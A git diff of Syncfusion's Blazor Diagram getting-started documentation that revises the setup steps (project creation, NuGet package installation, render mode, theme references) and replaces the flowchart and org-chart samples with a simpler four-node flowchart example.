-        CreateNode("Increment", 300, 410, NodeFlowShapes.Process, "i++;");
-        CreateNode("End", 300, 500, NodeFlowShapes.Terminator, "End");
-        // Creates orthogonal connector.
-        OrthogonalSegment segment1 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Direction = Direction.Right,
-            Length = 30,
-        };
-        OrthogonalSegment segment2 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 300,
-            Direction = Direction.Bottom,
-        };
-        OrthogonalSegment segment3 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 30,
-            Direction = Direction.Left,
-        };
-        OrthogonalSegment segment4 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 200,
-            Direction = Direction.Top,
-        };
-        CreateConnector("Start", "Init");
-        CreateConnector("Init", "Condition");
-        CreateConnector("Condition", "Print");
-        CreateConnector("Condition", "End", "Yes", segment1, segment2);
-        CreateConnector("Print", "Increment", "No");
-        CreateConnector("Increment", "Condition", null, segment3, segment4);
-    }
-
-    // Method to create connector.
-    private void CreateConnector(string sourceId, string targetId, string label = default(string), OrthogonalSegment segment1 = null, OrthogonalSegment segment2 = null)
-    {
-        Connector diagramConnector = new Connector()
+        nodes = new DiagramObjectCollection<Node>()
         {
-            // Represents the unique id of the connector.
-            ID = string.Format("connector{0}", ++connectorCount),
-            SourceID = sourceId,
-            TargetID = targetId,
+            new Node()
+            {
+               ID = "node1", OffsetX = 300, OffsetY = 100,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Terminator },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "Start" }
+               }
+            },
+            new Node()
+            {
+               ID = "node2", OffsetX = 300, OffsetY = 200,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Process },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "Process" }
+               }
+            },
+            new Node()
+            { 
+               ID = "node3", OffsetX = 300, OffsetY = 300,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Decision },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "Decision?" }
+               }
+            },
+            new Node()
+            {
+               ID = "node4", OffsetX = 300, OffsetY = 400,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Terminator },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "End" }
+               }
+            }
         };
-        if (label != default(string))
+        connectors = new DiagramObjectCollection<Connector>()
         {
-            // Represents the annotation of the connector.
-            PathAnnotation annotation = new PathAnnotation()
+            new Connector()
             {
-                Content = label,
-                Style = new TextStyle() { Fill = "white" }
-            };
-            diagramConnector.Annotations = new DiagramObjectCollection<PathAnnotation>() { annotation };
-        }
-        if (segment1 != null)
-        {
-            // Represents the segment type of the connector.
-            diagramConnector.Type = ConnectorSegmentType.Orthogonal;
-            diagramConnector.Segments = new DiagramObjectCollection<ConnectorSegment> { segment1, segment2 };
-        }
-        connectors.Add(diagramConnector);
-    }
-
-    // Method to create node.
-    private void CreateNode(string id, double x, double y, NodeFlowShapes shape, string label)
-    {
-        Node diagramNode = new Node()
-        {
-            //Represents the unique id of the node.
-            ID = id,
-            // Defines the position of the node.
-            OffsetX = x,
-            OffsetY = y,
-            // Defines the size of the node.
-            Width = 145,
-            Height = 60,
-            // Defines the style of the node.
-            Style = new ShapeStyle { Fill = "#357BD2", StrokeColor = "White" },
-            // Defines the shape of the node.
-            Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = shape },
-            // Defines the annotation collection of the node.
-            Annotations = new DiagramObjectCollection<ShapeAnnotation>
+                ID = "connector1",
+                SourceID = "node1",
+                TargetID = "node2",
+            },
+            new Connector()
             {
-                new ShapeAnnotation
-                {
-                    Content = label,
-                    Style = new TextStyle()
-                    {
-                        Color="White",
-                        Fill = "transparent"
-                    }
-                }
-            }
+                ID = "connector2",
+                SourceID = "node2",
+                TargetID = "node3",
+            },            
+            new Connector()
+            {
+                ID = "connector2",
+                SourceID = "node3",
+                TargetID = "node4",
+            },
         };
-        nodes.Add(diagramNode);
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLJZWLYqiuRApvY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Diagram Component](images/blazor-diagram-component.png)" %}
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DiagramComponent).
-
-## Create Organizational Chart
-
-A built-in automatic layout algorithm is designed specifically for organizational charts, automatically arranging parent and child node positions for optimal structure and clarity.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Inputs
-@using Syncfusion.Blazor.Diagram
-
-<SfDiagramComponent Height="600px" NodeCreating="@OnNodeCreating" ConnectorCreating="@OnConnectorCreating">
-    <DataSourceSettings ID="Id" ParentID="Team" DataSource="@DataSource"></DataSourceSettings>
-    <SnapSettings>
-        <HorizontalGridLines LineColor="white" LineDashArray="2,2">
-        </HorizontalGridLines>
-        <VerticalGridLines LineColor="white" LineDashArray="2,2">
-        </VerticalGridLines>
-    </SnapSettings>
-    <Layout Type="LayoutType.OrganizationalChart" @bind-HorizontalSpacing="@HorizontalSpacing" @bind-VerticalSpacing="@VerticalSpacing" GetLayoutInfo="GetLayoutInfo">
-    </Layout>
-</SfDiagramComponent>
-
-@code
-{
-    //Initializing layout.
-    int HorizontalSpacing = 40;
-    int VerticalSpacing = 50;
-
-    //To configure every subtree of the organizational chart.
-    private TreeInfo GetLayoutInfo(IDiagramObject obj, TreeInfo options)
-    {
-        options.AlignmentType = SubTreeAlignmentType.Right;
-        options.Orientation = Orientation.Vertical;
-        return options;
     }
 
-    //Creates node with some default values.
-    private void OnNodeCreating(IDiagramObject obj)
+    private void NodeCreating(IDiagramObject obj)
     {
         Node node = obj as Node;
+        node.Style = new ShapeStyle() { Fill = "#E8F4FF", StrokeColor = "#357BD2" };
+        node.Width = 140;
         node.Height = 50;
-        node.Width = 150;
-        node.Style = new ShapeStyle() { Fill = "#6495ED", StrokeWidth = 1, StrokeColor = "Black" };
     }
 
-    //Creates connectors with some default values.
-    private void OnConnectorCreating(IDiagramObject connector)
+    private void ConnectorCreating(IDiagramObject obj)
     {
-        Connector connectors = connector as Connector;
-        connectors.Type = ConnectorSegmentType.Orthogonal;
-        connectors.Style = new TextStyle() { StrokeColor = "#6495ED", StrokeWidth = 1 };
-        connectors.TargetDecorator = new DecoratorSettings
-        {
-            Shape = DecoratorShape.None,
-            Style = new ShapeStyle() { Fill = "#6495ED", StrokeColor = "#6495ED", }
-        };
+        (obj as Connector).Type = ConnectorSegmentType.Orthogonal;
     }
-
-    public class OrgChartDataModel
-    {
-        public string Id { get; set; }
-        public string Team { get; set; }
-        public string Role { get; set; }
-    }
-    public object DataSource = new List<object>()
-    {
-        new OrgChartDataModel() { Id= "1", Role= "General Manager" },
-        new OrgChartDataModel() { Id= "2", Role= "Human Resource Manager", Team= "1" },
-        new OrgChartDataModel() { Id= "3", Role= "Design Manager", Team= "1" },
-        new OrgChartDataModel() { Id= "4", Role= "Operation Manager", Team= "1" },
-        new OrgChartDataModel() { Id= "5", Role= "Marketing Manager", Team= "1" }
-    };
 }
 
 {% endhighlight %}
 {% endtabs %}
 
+In this example:
+
+* [`OffsetX`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html#Syncfusion_Blazor_Diagram_Node_OffsetX) and [`OffsetY`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html#Syncfusion_Blazor_Diagram_Node_OffsetY) define the position of each node.
+* [`Shape`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html#Syncfusion_Blazor_Diagram_Node_Shape) defines the node shape configuration, and [`FlowShape.Shape`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.NodeFlowShapes.html#fields) specifies flowchart shapes such as **Terminator**, **Process**, or **Decision**.
+* [`ShapeAnnotation`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.ShapeAnnotation.html) adds text inside each node using the [`Content`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Annotation.html#Syncfusion_Blazor_Diagram_Annotation_Content) property.
+* [`SourceID`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Connector.html#Syncfusion_Blazor_Diagram_Connector_SourceID) and [`TargetID`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Connector.html#Syncfusion_Blazor_Diagram_Connector_TargetID) connect one node to another.
+* [`NodeCreating`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.SfDiagramComponent.html#Syncfusion_Blazor_Diagram_SfDiagramComponent_NodeCreating) applies common width, height, fill color, and stroke color to all nodes.
+* [`ConnectorCreating`](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.SfDiagramComponent.html#Syncfusion_Blazor_Diagram_SfDiagramComponent_ConnectorCreating) applies common connector settings, such as orthogonal routing.
+
+## Run the application
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVTDsrYqBZBcmEv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Organization Diagram ChildNode in Vertical Right](images/blazor-diagram-childnode-at-vertical-right.png)" %}
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application in Visual Studio. 
+* Run the application using `dotnet run` command in Command prompt.
+* This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component in the default web browser.
 
-## See also
+The output will appear as follows:
 
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-dotnet-cli)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio)
-* [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Server-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-dotnet-cli)
\ No newline at end of file
+![Getting Started in Blazor Diagram](images/blazor-diagram-getting-started.webp)
\ No newline at end of file
diff --git a/blazor/diagram/getting-started-with-web-app.md b/blazor/diagram/getting-started-with-web-app.md
index f24c3bc7f7..7be7f8ff27 100644
--- a/blazor/diagram/getting-started-with-web-app.md
+++ b/blazor/diagram/getting-started-with-web-app.md
@@ -25,6 +25,9 @@ This section briefly explains how to include the [Syncfusion<sup style="font-siz
 
 Create a **Blazor Web App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app) documentation.
 
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a project.
+<br/> If you use the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio), a sample application can be generated automatically.
+
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -37,17 +40,8 @@ Create a **Blazor Web App** using Visual Studio via [Microsoft Templates](https:
 
 Create a **Blazor Web App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Web App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-web-app?tabcontent=visual-studio-code) documentation.
 
-For example, in a Blazor Web App with the `Auto` interactive render mode, use the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>):
-
-{% tabs %}
-{% highlight c# tabtitle="Blazor Web App" %}
-
-dotnet new blazor -o BlazorWebApp -int Auto
-cd BlazorWebApp
-cd BlazorWebApp.Client
-
-{% endhighlight %}
-{% endtabs %}
+N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a project.
+<br/> If you use the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio), a sample application can be generated automatically.
 
 {% endtabcontent %}
 
@@ -76,22 +70,29 @@ For example, in a Blazor Web App with the `Auto` interactive render mode, use th
 
 dotnet new blazor -o BlazorWebApp -int Auto
 cd BlazorWebApp
-cd BlazorWebApp.Client
 
 {% endhighlight %}
 {% endtabs %}
 
+This command creates a new Blazor Web App and places it in a new directory called `BlazorWebApp` inside your current location.
+
+N> See the [dotnet new CLI command](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?pivots=cli&view=aspnetcore-10.0) and [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode) topics for more details.
+
 {% endtabcontent %}
 
 {% endtabcontents %}
 
-N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Web App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
-
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the client project.
+
+{% tabcontents %}
+
+{% tabcontent Visual Studio %}
+
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution → Select the package -> Install*).
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+Alternatively, run the following commands in the Package Manager Console(*Tools → NuGet Package Manager → Package Manager Console*) to achieve the same.
 
 {% tabs %}
 {% highlight C# tabtitle="Package Manager" %}
@@ -102,26 +103,48 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
-If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the client project.
+{% endtabcontent %}
+
+{% tabcontent Visual Studio Code %}
+
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the C# package management(*Right click the ".csproj" file, -> C# package management -> Add nuget package -> Select nuget package and version*)
+
+{% endtabcontent %}
+
+{% tabcontent .NET CLI %}
+
+Install [Syncfusion.Blazor.Diagram](https://www.nuget.org/packages/Syncfusion.Blazor.Diagram) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the .NET CLI command.
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet add package Syncfusion.Blazor.Diagram --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% endtabcontent %}
+{% endtabcontents %}
 
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Add import namespaces
 
-After the packages are installed, open the **~/_Imports.razor** file in the client project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Diagram` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Diagram` namespaces.
 
 {% tabs %}
-{% highlight C# tabtitle="~/_Imports.razor" %}
+{% highlight razor tabtitle="~/_Imports.razor" %}
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Diagram
+@using Syncfusion.Blazor;
+@using Syncfusion.Blazor.Diagram;
 
 {% endhighlight %}
 {% endtabs %}
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Web App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file.
 
 {% tabs %}
 {% highlight c# tabtitle="Program.cs" %}
@@ -129,6 +152,7 @@ Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in
 ....
 using Syncfusion.Blazor;
 ....
+var builder = WebApplication.CreateBuilder(args);
 builder.Services.AddSyncfusionBlazor();
 ....
 
@@ -142,30 +166,38 @@ N> If the **Interactive Render Mode** is set to `WebAssembly` or `Auto`, registe
 The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
 
 ```html
-
-<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-....
-<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
+<head>
+    ...
+    <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+</head>
+<body>
+    ....
+    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+</body>
 ```
 
 N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram Component
+## Configure Render Mode
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
-
-N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
+If your create application uses `Per page/component` interactivity, add this at the top of **Pages/Home.razor**:
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @* desired render mode define here *@
-@rendermode InteractiveAuto
+@rendermode InteractiveServer
 
 {% endhighlight %}
 {% endtabs %}
 
+N> If the render mode is set to **None**, the diagram will not render.
+<br/> If the `Interactivity Location` is set to **Global**, this step is not required.
+
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component
+
+Add the DiagramComponent to create an empty diagram.
+
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
@@ -174,236 +206,116 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Diagram component in the default web browser.
-
-## Basic Blazor Diagram Elements
+## Create your first Diagram with nodes and connectors
 
-* Node: Visualize any graphical object using nodes, which can be arranged and manipulated at the same time on a Blazor diagram page.
-* Connector: Represents the relationship between two nodes. Three types of connectors provided as follows:
- 1) Orthogonal
- 2) Bezier
- 3) Straight
-* Port: Acts as the connection points of node or connector and allow creating connections only at specific points.
-* Annotation: Additional information can be shown by adding text or labels on nodes and connectors.
+This section explains how to create a simple flowchart by adding nodes, customizing their appearance, and connecting them using connectors.
 
-## How to Create Blazor Flowchart Diagram
-
-Create and add a [Node](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Node.html) with specific position, size, label, and shape. Connect two or more nodes using a [Connector](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Diagram.Connector.html).
+The following example creates a flowchart with four nodes: **Start**, **Process**, **Decision**, and **End**. It also applies common node and connector settings using the `NodeCreating` and `ConnectorCreating` properties.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfDiagramComponent @ref="@diagram" Connectors="@connectors" Height="700px" Nodes="@nodes" />
+<SfDiagramComponent Width="100%" Height="600px" Nodes="@nodes" Connectors="@connectors" NodeCreating="@NodeCreating" ConnectorCreating="@ConnectorCreating" />
 
-@code
-{
-    SfDiagramComponent diagram;
-    int connectorCount = 0;
-    //Defines Diagram's nodes collection.
+@code {
     DiagramObjectCollection<Node> nodes = new DiagramObjectCollection<Node>();
-    //Defines Diagram's connectors collection.
     DiagramObjectCollection<Connector> connectors = new DiagramObjectCollection<Connector>();
-
     protected override void OnInitialized()
     {
-        InitDiagramModel();
-    }
-
-    private void InitDiagramModel()
-    {
-        CreateNode("Start", 300, 50, NodeFlowShapes.Terminator, "Start");
-        CreateNode("Init", 300, 140, NodeFlowShapes.Process, "var i = 0");
-        CreateNode("Condition", 300, 230, NodeFlowShapes.Decision, "i < 10?");
-        CreateNode("Print", 300, 320, NodeFlowShapes.PreDefinedProcess, "print(\'Hello!!\');");
-        CreateNode("Increment", 300, 410, NodeFlowShapes.Process, "i++;");
-        CreateNode("End", 300, 500, NodeFlowShapes.Terminator, "End");
-        // Creates orthogonal connector.
-        OrthogonalSegment segment1 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Direction = Direction.Right,
-            Length = 30,
-        };
-        OrthogonalSegment segment2 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 300,
-            Direction = Direction.Bottom,
-        };
-        OrthogonalSegment segment3 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 30,
-            Direction = Direction.Left,
-        };
-        OrthogonalSegment segment4 = new OrthogonalSegment()
-        {
-            Type = ConnectorSegmentType.Orthogonal,
-            Length = 200,
-            Direction = Direction.Top,
-        };
-        CreateConnector("Start", "Init");
-        CreateConnector("Init", "Condition");
-        CreateConnector("Condition", "Print");
-        CreateConnector("Condition", "End", "Yes", segment1, segment2);
-        CreateConnector("Print", "Increment", "No");
-        CreateConnector("Increment", "Condition", null, segment3, segment4);
-    }
-
-    // Method to create connector.
-    private void CreateConnector(string sourceId, string targetId, string label = default(string), OrthogonalSegment segment1 = null, OrthogonalSegment segment2 = null)
-    {
-        Connector diagramConnector = new Connector()
+        nodes = new DiagramObjectCollection<Node>()
         {
-            // Represents the unique id of the connector.
-            ID = string.Format("connector{0}", ++connectorCount),
-            SourceID = sourceId,
-            TargetID = targetId,
+            new Node()
+            {
+               ID = "node1", OffsetX = 300, OffsetY = 100,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Terminator },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "Start" }
+               }
+            },
+            new Node()
+            {
+               ID = "node2", OffsetX = 300, OffsetY = 200,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Process },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "Process" }
+               }
+            },
+            new Node()
+            { 
+               ID = "node3", OffsetX = 300, OffsetY = 300,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Decision },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "Decision?" }
+               }
+            },
+            new Node()
+            {
+               ID = "node4", OffsetX = 300, OffsetY = 400,
+               Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = NodeFlowShapes.Terminator },
+               Annotations = new DiagramObjectCollection<ShapeAnnotation>()
+               {
+                  new ShapeAnnotation(){ Content = "End" }
+               }
+            }
         };
-        if (label != default(string))
+        connectors = new DiagramObjectCollection<Connector>()
         {
-            // Represents the annotation of the connector.
-            PathAnnotation annotation = new PathAnnotation()
+            new Connector()
             {
-                Content = label,
-                Style = new TextStyle() { Fill = "white" }
-            };
-            diagramConnector.Annotations = new DiagramObjectCollection<PathAnnotation>() { annotation };
-        }
-        if (segment1 != null)
-        {
-            // Represents the segment type of the connector.
-            diagramConnector.Type = ConnectorSegmentType.Orthogonal;
-            diagramConnector.Segments = new DiagramObjectCollection<ConnectorSegment> { segment1, segment2 };
-        }
-        connectors.Add(diagramConnector);
-    }
-
-    // Method to create node.
-    private void CreateNode(string id, double x, double y, NodeFlowShapes shape, string label)
-    {
-        Node diagramNode = new Node()
-        {
-            //Represents the unique id of the node.
-            ID = id,
-            // Defines the position of the node.
-            OffsetX = x,
-            OffsetY = y,
-            // Defines the size of the node.
-            Width = 145,
-            Height = 60,
-            // Defines the style of the node.
-            Style = new ShapeStyle { Fill = "#357BD2", StrokeColor = "White" },
-            // Defines the shape of the node.
-            Shape = new FlowShape() { Type = NodeShapes.Flow, Shape = shape },
-            // Defines the annotation collection of the node.
-            Annotations = new DiagramObjectCollection<ShapeAnnotation>
+                ID = "connector1",
+                SourceID = "node1",
+                TargetID = "node2",
+            },
+            new Connector()
             {
-                new ShapeAnnotation
-                {
-                    Content = label,
-                    Style = new TextStyle()
-                    {
-                        Color="White",
-                        Fill = "transparent"
-                    }
-                }
-            }
+                ID = "connector2",
+                SourceID = "node2",
+                TargetID = "node3",
+            },            
+            new Connector()
+            {
+                ID = "connector2",
+                SourceID = "node3",
+                TargetID = "node4",
+            },
         };
-        nodes.Add(diagramNode);
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDLJZWLYqiuRApvY?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Diagram Component](images/blazor-diagram-component.png)" %}
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/DiagramComponent).
-
-## How to Create Organizational Chart
-
-A built-in automatic layout algorithm is designed specifically for organizational charts, automatically arranging parent and child node positions for optimal structure and clarity.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.Inputs
-@using Syncfusion.Blazor.Diagram
-
-<SfDiagramComponent Height="600px" NodeCreating="@OnNodeCreating" ConnectorCreating="@OnConnectorCreating">
-    <DataSourceSettings ID="Id" ParentID="Team" DataSource="@DataSource"></DataSourceSettings>
-    <SnapSettings>
-        <HorizontalGridLines LineColor="white" LineDashArray="2,2">
-        </HorizontalGridLines>
-        <VerticalGridLines LineColor="white" LineDashArray="2,2">
-        </VerticalGridLines>
-    </SnapSettings>
-    <Layout Type="LayoutType.OrganizationalChart" @bind-HorizontalSpacing="@HorizontalSpacing" @bind-VerticalSpacing="@VerticalSpacing" GetLayoutInfo="GetLayoutInfo">
-    </Layout>
-</SfDiagramComponent>
-
-@code
-{
-    //Initializing layout.
-    int HorizontalSpacing = 40;
-    int VerticalSpacing = 50;
-
-    //To configure every subtree of the organizational chart.
-    private TreeInfo GetLayoutInfo(IDiagramObject obj, TreeInfo options)
-    {
-        options.AlignmentType = SubTreeAlignmentType.Right;
-        options.Orientation = Orientation.Vertical;
-        return options;
     }
 
-    //Creates node with some default values.
-    private void OnNodeCreating(IDiagramObject obj)
+    private void NodeCreating(IDiagramObject obj)
     {
         Node node = obj as Node;
+        node.Style = new ShapeStyle() { Fill = "#E8F4FF", StrokeColor = "#357BD2" };
+        node.Width = 140;
         node.Height = 50;
-        node.Width = 150;
-        node.Style = new ShapeStyle() { Fill = "#6495ED", StrokeWidth = 1, StrokeColor = "Black" };
-    }
-
-    //Creates connectors with some default values.
-    private void OnConnectorCreating(IDiagramObject connector)
-    {
-        Connector connectors = connector as Connector;
-        connectors.Type = ConnectorSegmentType.Orthogonal;
